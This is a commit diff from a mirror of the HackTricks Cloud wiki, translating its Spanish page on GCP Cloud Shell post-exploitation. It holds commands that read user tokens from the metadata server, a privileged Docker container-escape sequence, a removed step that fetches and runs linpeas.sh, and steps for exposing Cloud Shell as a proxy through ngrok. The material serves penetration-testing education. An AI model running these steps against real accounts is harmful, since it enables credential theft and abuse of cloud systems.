mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 07:40:49 -08:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation
This commit is contained in:
@@ -4,46 +4,46 @@
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
Para más información sobre Cloud Shell consulta:
|
||||
Para más información sobre Cloud Shell, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Container Escape
|
||||
### Obtiene el token del usuario desde metadata
|
||||
|
||||
Ten en cuenta que Google Cloud Shell se ejecuta dentro de un contenedor; puedes **escapar fácilmente al host** haciendo:
|
||||
Simplemente accediendo al servidor de metadata puedes obtener un token para acceder como el usuario que inició sesión actualmente:
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
```
|
||||
### Container Escape / Uso de Docker
|
||||
|
||||
> [!WARNING]
|
||||
> Anteriormente el cloud shell se ejecutaba en un contenedor con acceso al docker socket del host. Ahora Google ha cambiado la arquitectura y el contenedor del cloud shell ejecuta una configuración de "Docker in a container". Por lo tanto, incluso si es posible usar docker desde el cloud shell, no podrás escapar al host usando el docker socket.
|
||||
> Ten en cuenta que anteriormente el archivo `docker.sock` estaba ubicado en `/google/host/var/run/docker.sock`, pero ahora se ha movido a `/run/docker.sock`.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Container escape commands</summary>
|
||||
<summary>Uso de Docker / Comandos antiguos de container escape</summary>
|
||||
```bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
||||
sudo docker -H unix:///run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///run/docker.sock start escaper
|
||||
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
|
||||
```
|
||||
</details>
|
||||
|
||||
Esto no es considerado una vulnerabilidad por google, pero te da una visión más amplia de lo que está ocurriendo en ese entorno.
|
||||
|
||||
Además, observa que desde el host puedes encontrar un token de cuenta de servicio:
|
||||
Además, en el pasado era posible encontrar un token para una cuenta de servicio usada por la cloud shell VM en el servidor de metadatos:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Obtener la cuenta de servicio desde los metadatos</summary>
|
||||
<summary>Cuenta de servicio antigua en los metadatos</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
default/
|
||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||
```
|
||||
</details>
|
||||
|
||||
Con los siguientes scopes:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Obtener scopes de la service account</summary>
|
||||
Con los siguientes ámbitos:
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||
|
||||
@@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write
|
||||
```
|
||||
</details>
|
||||
|
||||
Enumerar metadatos con LinPEAS:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Enumerar metadatos con LinPEAS</summary>
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
sh linpeas.sh -o cloud
|
||||
```
|
||||
</details>
|
||||
### Usarlo como proxy
|
||||
|
||||
Después de usar [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) con el token de la Service Account **no se descubrió ningún permiso**...
|
||||
|
||||
### Usarlo como Proxy
|
||||
|
||||
Si quieres usar tu google cloud shell instance como Proxy, necesitas ejecutar los siguientes comandos (o insertarlos en el archivo .bashrc):
|
||||
Si quieres usar tu instancia de google cloud shell como proxy necesitas ejecutar los siguientes comandos (o insertarlos en el archivo .bashrc):
|
||||
|
||||
<details>
|
||||
|
||||
@@ -96,7 +84,7 @@ copia el archivo **squid.conf** a **/etc/squid**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Copiar la configuración en /etc/squid</summary>
|
||||
<summary>Copiar configuración a /etc/squid</summary>
|
||||
```bash
|
||||
sudo cp squid.conf /etc/squid
|
||||
```
|
||||
@@ -116,15 +104,15 @@ Usa ngrok para que el proxy esté disponible desde el exterior:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Exponer el proxy con ngrok</summary>
|
||||
<summary>Exponer proxy con ngrok</summary>
|
||||
```bash
|
||||
./ngrok tcp 3128
|
||||
```
|
||||
</details>
|
||||
|
||||
Después de ejecutar, copie la URL tcp://. Si quiere usar el proxy desde un navegador, se sugiere eliminar la parte tcp:// y el puerto, y poner el puerto en el campo de puerto de la configuración de proxy de su navegador (squid es un http proxy server).
|
||||
Después de ejecutar, copia la URL tcp://. Si quieres ejecutar el proxy desde un navegador, se sugiere eliminar la parte tcp:// y el puerto y poner el puerto en el campo de puerto de la configuración de proxy de tu navegador (squid es un servidor proxy http).
|
||||
|
||||
Para un mejor uso al iniciar, el archivo .bashrc debería contener las siguientes líneas:
|
||||
Para un mejor uso al inicio, el archivo .bashrc debería tener las siguientes líneas:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
|
||||
```
|
||||
</details>
|
||||
|
||||
Las instrucciones fueron copiadas de [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Revisa esa página para otras ideas locas para ejecutar cualquier tipo de software (bases de datos e incluso Windows) en Cloud Shell.
|
||||
Las instrucciones fueron copiadas de [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Revisa esa página para otras ideas locas para ejecutar cualquier tipo de software (databases e incluso windows) en Cloud Shell.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user